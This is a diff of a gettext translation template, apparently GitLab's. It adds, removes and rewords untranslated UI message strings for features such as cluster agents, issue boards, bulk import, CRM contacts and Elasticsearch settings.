msgstr ""
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4549,6 +4605,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6337,10 +6432,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6391,9 +6486,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7089,6 +7184,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -10891,6 +11085,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12142,9 +12357,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
